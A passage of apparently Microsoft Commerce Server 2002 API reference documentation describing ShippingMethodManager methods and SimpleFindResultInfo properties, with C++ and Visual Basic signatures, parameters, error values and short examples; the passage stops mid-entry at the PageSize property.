This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

[C++]

The dConfig parameter points to valid data only if the method completes successfully.

[Visual Basic]

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object.

Set dConfig = oSMM.GetComponentConfig

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::GetInstalledMethodList Method [C++]

ShippingMethodManager.GetInstalledMethodList Method [Visual Basic]

Use this method to get a list of the current shipping methods. The GetInstalledMethodList method allows you to filter the list, select the columns to return, and to sort the list into a particular order.

Definition

[C++]
HRESULT _ShippingMethodManager::GetInstalledMethodList(
  VARIANT* Filter,
  VARIANT* OrderBy,
  VARIANT* columns,
  VARIANT* rsReturn
);
[Visual Basic]
Function GetInstalledMethodList(
  Filter As Variant,
  OrderBy As Variant,
  columns As Variant
) As Variant

Parameters

Filter [C++]
[in] A pointer to a VARIANT that contains a BSTR that becomes the WHERE clause of the query. Pass a null variant if no filtering is wanted. An example filter is "enabled = 1". This will cause the GetInstalledMethodList method to only return enabled shipping methods. To return shipping methods for a specific language, such as English, use the filter "language_id = en".
Filter [Visual Basic]
A String that becomes the WHERE clause of the query. Pass Null if no filtering is wanted. An example filter is "enabled = 1". This will cause the GetInstalledMethodList method to only return enabled shipping methods. To return shipping methods for a specific language, such as English, use "language_id = en".
OrderBy [C++]
[in] A pointer to a VARIANT that contains a BSTR that becomes the ORDER BY clause of the query. Pass a null variant if no ordering is wanted. An example OrderBy argument is "shipping_method_name". This will cause the results to be sorted by the shipping method name.
OrderBy [Visual Basic]
A String that becomes the ORDER BY clause of the query. Pass Null if no ordering is wanted. An example OrderBy argument is "shipping_method_name". This will cause the results to be sorted by the shipping method name.
columns [C++]
[in] A pointer to a VARIANT that contains a SAFEARRAY of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.
columns [Visual Basic]
An Array of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.
rsReturn [C++]
[out, retval] A pointer to a VARIANT containing an ADO Recordset object with the wanted values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains the results of the query.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM error this method can return.

Name | Value | Description
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more of the Filter, OrderBy, or columns arguments contain invalid Transact-SQL syntax, or contain illegal Transact-SQL statements.

Remarks

[C++]

The rsResult parameter points to valid data only if the method completes successfully.

The GetInstalledMethodList method constructs a SQL query from its three parameters, runs it against the current ShippingConfig table, and returns the result in an ADO Recordset object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object.
' sFilter is set to filter.
' sOrderBy is set to null, so there will be no ordering.
' AColumns is an array of column names of the values to retrieve.
' rsMethodList is a recordset.

Set rsMethodList = oSMM.GetInstalledMethodList( _
                             "enabled = 1", _
                             Null, _
                             Array("shipping_method_name") _
                             )

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping

Multi-Lingual Shipping Methods


_ShippingMethodManager::GetMethodInfo Method [C++]

ShippingMethodManager.GetMethodInfo Method [Visual Basic]

Use this method to retrieve information about the database attributes of one or more columns in the ShippingConfig table.

Definition

[C++]
HRESULT _ShippingMethodManager::GetMethodInfo(
  VARIANT* columns,
  VARIANT* rsResult
);
[Visual Basic]
Function GetMethodInfo(
  columns As Variant
) As Variant

Parameters

columns [C++]
[in] A VARIANT containing a SAFEARRAY of BSTR strings containing names of the columns. Specify an empty array to return all columns.
columns [Visual Basic]
An Array of strings containing names of the columns. Specify an empty array to return all columns.
rsResult [C++]
[out, retval] A pointer to a VARIANT containing an ADO Recordset object that contains the information about the requested database columns.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains the information about the wanted columns.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM error this method can return.

Name | Value | Description
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | The columns parameter contains invalid Transact-SQL syntax, or contains illegal Transact-SQL statements.

Remarks

[C++]

The rsResult parameter points to valid data only if the method completes successfully.

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

This method returns an ADO Recordset object containing the data type, defined size, and attributes of the requested columns in the ShippingConfig table.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object
' rsResult is an ADO recordset

Set rsResult = oSMM.GetMethodInfo(Array("shipping_method_name", "description", "enabled"))

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::Initialize Method [C++]

ShippingMethodManager.Initialize Method [Visual Basic]

Use this method to initialize a ShippingMethodManager object and connect it to a database.

Definition

[C++]
HRESULT _ShippingMethodManager::Initialize(
  VARIANT* connection_string
);
[Visual Basic]
Sub Initialize(
  connection_string As Variant
)

Parameters

connection_string [C++]
[in] A pointer to a VARIANT containing a BSTR with the connection string.
connection_string [Visual Basic]
A String containing the connection string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.
' sConnectionString is a string containing the connection
' string.

oSMM.Initialize(sConnectionString)

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::LoadMethodInstance Method [C++]

ShippingMethodManager.LoadMethodInstance Method [Visual Basic]

Use this method to load an instance of a given shipping method.

Definition

[C++]
HRESULT _ShippingMethodManager::LoadMethodInstance(
  VARIANT* methodid
);
[Visual Basic]
Sub LoadMethodInstance(
  methodid As Variant
)

Parameters

methodid [C++]
[in] A pointer to a VARIANT containing a BSTR that is the method ID of the shipping method.
methodid [Visual Basic]
A String containing the method ID of the shipping method.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method loads an instance of the requested shipping method as a single record in the current recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object.
' sMethodId is a string containing the method ID.

oSMM.LoadMethodInstance(sMethodId)

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::SaveMethodConfig Method [C++]

ShippingMethodManager.SaveMethodConfig Method [Visual Basic]

Use this method to save the current shipping method information, which was set with the SetMethodConfig method.

Definition

[C++]
HRESULT __ShippingMethodManager::SaveMethodConfig(void);
[Visual Basic]
Sub SaveMethodConfig()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The SaveMethodConfig method saves the current shipping method configuration data.

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.

oSMM.SaveMethodConfig

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::SetCachableComponentConfig Method [C++]

ShippingMethodManager.SetCachableComponentConfig Method [Visual Basic]

Use this method to set the configuration data for the pipeline component, and other component information.

Definition

[C++]
HRESULT __ShippingMethodManager::SetCachableComponentConfig(
  VARIANT* progid,
  VARIANT* configdict,
  VARIANT* action,
  VARIANT* actionfriendlyname
);
[Visual Basic]
Sub SetCachableComponentConfig(
  progid As Variant,
  configdict As Variant,
  action As Variant,
  actionfriendlyname As Variant
)

Parameters

progid [C++]
[in] A pointer to a VARIANT containing a BSTR that is the ProgID of the pipeline component.
progid [Visual Basic]
A String containing the ProgID of the pipeline component.
configdict [C++]
[in] A VARIANT containing a Dictionary object holding the configuration information for the component.
configdict [Visual Basic]
A Dictionary object holding the configuration information for the component.
action [C++]
[in] A VARIANT containing a BSTR with the name of the ASP edit page for the shipping component.
action [Visual Basic]
A String containing the name of the ASP edit page for the shipping component.
actionfriendlyname [C++]
[in] A VARIANT containing a BSTR with a friendly name for the ASP edit page for the shipping component.
actionfriendlyname [Visual Basic]
A String containing a friendly name for the ASP edit page for the shipping component.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

This method takes the Configuration dictionary for the component and prepares it to be saved along with the current configuration. In addition, this method stores the ProgID, the edit page, and the page friendly names. The settings are not saved until the SaveMethodConfig method is called.

The configdict parameter is typically obtained using IPipelineComponentAdmin::GetConfigDictionary method.

This method uses the IPipelineComponentAdmin interface; therefore, all shipping components configurable by the ShippingMethodManager object must support the IPipelineComponentAdmin interface.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.
' sProgID, sAction, and sActionFrientlyName are strings.
' dConfigDict is a Commerce.Dictionary object.

Call oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::SetMethodConfig Method [C++]

ShippingMethodManager.SetMethodConfig Method [Visual MethodBasic]

Use this method to set properties, such as name or description, on the current shipping method.

Definition

[C++]
HRESULT _ShippingMethodManager::SetMethodConfig(
  VARIANT* ParametersAndValues
);
[Visual Basic]
Sub SetMethodConfig(
  ParametersAndValues As Variant
)

Parameters

ParametersAndValues [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY that contains name/value pairs in successive elements.
ParametersAndValues [Visual Basic]
An Array containing name/value pairs in successive elements.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM error this method can return.

Name | Value | Description
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | The ParametersAndValues parameter contains invalid Transact-SQL syntax, or contains illegal Transact-SQL statements.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

The parameter ParametersAndValues contains names and values in alternating elements. Odd subscripts contain the names of items, even subscripts contain the values.

Use the SaveMethodConfig method to save the configuration information entered with this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.

Call oSMM.SetMethodConfig(Array("shipping_method_name", "My Shipping Method", "description", "Cheapest but slowest shipping method", "enabled", 1))

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


SimpleFindResultInfo Object [C++]

SimpleFindResultInfo Object [Visual Basic]

Use this object to specify search criteria when using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

ProgID: | Commerce.SimpleFindResultInfo (Externally creatable)
COM Class Name: | SimpleFindResultInfo
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SimpleFindResultInfo
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _SimpleFindResultInfo interface to access the properties and methods of the SimpleFindResultInfo object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Properties

[C++]
Property | Type | Description
Columns | VARIANT | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | VARIANT_BOOLEAN | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | VARIANT_BOOLEAN | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | VARIANT | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | VARIANT | Specifies the sort direction.
[Visual Basic]
Property | Type | Description
Columns | Variant | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Variant | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | Variant | Specifies the sort direction.

Remarks

The following table shows the data returned by the OrderGroupManager SimpleFind method when it has been passed to the SimpleFindResultInfo object with the JoinOrderFormInfo and JoinLineItemInfo properties set to the indicated values.

JoinOrderFormInfo | JoinLineItemInfo | SimpleFind Method Data Returned
False | False | One record for each OrderGroup that meets the search criteria. Returns OrderGroup data only. The default setting is False.
True | False | One record for each OrderForm that meets the search criteria. Returns OrderGroup and OrderForm data.
True | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.
False | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.

See Also

[C++] Business Process Objects

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager Object

[C++] OrderGroup Object

[C++] OrderForm Object

[Visual Basic] Business Process Objects

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderGroup Object

[Visual Basic] OrderForm Object


_SimpleFindResultInfo Properties [C++]

SimpleFindResultInfo Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Columns | VARIANT | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | VARIANT_BOOLEAN | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | VARIANT_BOOLEAN | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | VARIANT | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | VARIANT | Specifies the sort direction.
[Visual Basic]
Property | Type | Description
Columns | Variant | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Variant | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | Variant | Specifies the sort direction.


_SimpleFindResultInfo::get_Columns, put_Columns Property [C++]

SimpleFindResultInfo.Columns Property [Visual Basic]

The Columns property is a read/write Variant that specifies a custom set of columns to be returned by the SimpleFind method. The columns property, if specified, should be a string of comma-separated column names. If the property is left Null, SimpleFind will return a standard set of columns.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_Columns(
  VARIANT* Columns
);

Put method:

HRESULT _SimpleFindResultInfo::put_Columns(
  VARIANT* Columns
);
[Visual Basic]
Property Columns As Variant

Parameters

Columns [C++]
[in] When putting the property, a VARIANT that contains the names of the columns to return in addition to the default columns.
[out, retval] When getting the property, a VARIANT used to return the names of the columns in addition to the default columns.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Columns parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_JoinLineItemInfo, put_JoinLineItemInfo Property [C++]

SimpleFindResultInfo.JoinLineItemInfo Property [Visual Basic]

The JoinLineItemInfo property is a read/write Boolean that indicates whether to join the OrderFormLineItems table with the results.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_JoinLineItemInfo(
  VARIANT_BOOL* JoinLineItemInfo
);

Put method:

HRESULT _SimpleFindResultInfo::put_JoinLineItemInfo(
  VARIANT_BOOL JoinLineItemInfo
);
[Visual Basic]
Property JoinLineItemInfo As Boolean

Parameters

JoinLineItemInfo [C++]
[in] When putting the property, a VARIANT BOOLEAN that specifies whether the OrderFormLineItems table is to be joined with the results. A value of True specifies that the OrderFormLineItems table will be joined. A value of False specifies that it will not be joined.
[out, retval] When getting the property, a VARIANT BOOLEAN that indicates whether the OrderFormLineItems table is to be joined with the results. A value of True indicates that the OrderFormLineItems table will be joined. A value of False indicates that it will not be joined.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The JoinLineItemInfo parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_JoinOrderFormInfo, put_JoinOrderFormInfo Property [C++]

SimpleFindResultInfo.JoinOrderFormInfo Property [Visual Basic]

The JoinOrderFormInfo property is a read/write Boolean that indicates whether the OrderFormHeader table is joined in the results.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_JoinOrderFormInfo(
  VARIANT_BOOL* JoinOrderFormInfo
);

Put method:

HRESULT _SimpleFindResultInfo::put_JoinOrderFormInfo(
  VARIANT_BOOL JoinOrderFormInfo
);
[Visual Basic]
Property JoinOrderFormInfo As Boolean

Parameters

JoinOrderFormInfo [C++]
[in] When putting the property, a VARIANT BOOLEAN that specifies whether the OrderFormHeader table is to be joined with the results. A value of True specifies that the OrderFormHeader table will be joined. A value of False specifies that it will not be joined.
[out, retval] When getting the property, a VARIANT BOOLEAN that indicates whether the OrderFormHeader table is to be joined with the results. A value of True indicates that the OrderFormHeader table will be joined. A value of False indicates that it will not be joined.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The JoinOrderFormInfo parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_OrderGroupSortColumn, put_OrderGroupSortColumn Property [C++]

SimpleFindResultInfo.OrderGroupSortColumn Property [Visual Basic]

The OrderGroupSortColumn property is a read/write Variant that contains the column name on which to sort.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_OrderGroupSortColumn(
  VARIANT* OrderGroupSortColumn
);

Put method:

HRESULT _SimpleFindResultInfo::put_OrderGroupSortColumn(
  VARIANT* OrderGroupSortColumn
);
[Visual Basic]
Property OrderGroupSortColumn As Variant

Parameters

OrderGroupSortColumn [C++]
[in] When putting the property, a VARIANT that contains the name of the column on which to sort.
[out, retval] When getting the property, a VARIANT used to return the name of the column on which to sort.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The OrderGroupSortColumn parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_PageNumber, put_PageNumber Property [C++]

SimpleFindResultInfo.PageNumber Property [Visual Basic]

The PageNumber property is a read/write Long that contains the page number to jump to. This property setting must be coordinated with the PageSize property.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_PageNumber(
  long* PageNumber
);

Put method:

HRESULT _SimpleFindResultInfo::put_PageNumber(
  long PageNumber
);
[Visual Basic]
Property PageNumber As Long

Parameters

PageNumber [C++]
[in] When putting the property, a long that contains the page number.
[out, retval] When getting the property, a long used to return the page number.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The PageNumber parameter contains valid data only if the property is accessed successfully.

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property is initialized to 1.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_PageSize, put_PageSize Property [C++]

SimpleFindResultInfo.PageSize Property [Visual Basic]

The PageSize property is a read/write Long that contains the page size. This property setting must be coordinated with the PageNumber property.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_PageSize(
  long* PageSize
);

Put method:

HRESULT _SimpleFindResultInfo::put_PageSize(
  long PageSize
);
[Visual Basic]
Property PageSize As Long
[Java]

Get method:

public int getPageSize();

Set method:

public void setPageSize(
  int PageSize
);

Parameters

PageSize [C++]
[in] When putting the property, a long that contains the page size.
[out, retval] When getting the property, a long used to return the page size.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The PageSize parameter contains valid data only if the property is accessed successfully.

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property defaults to 20.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

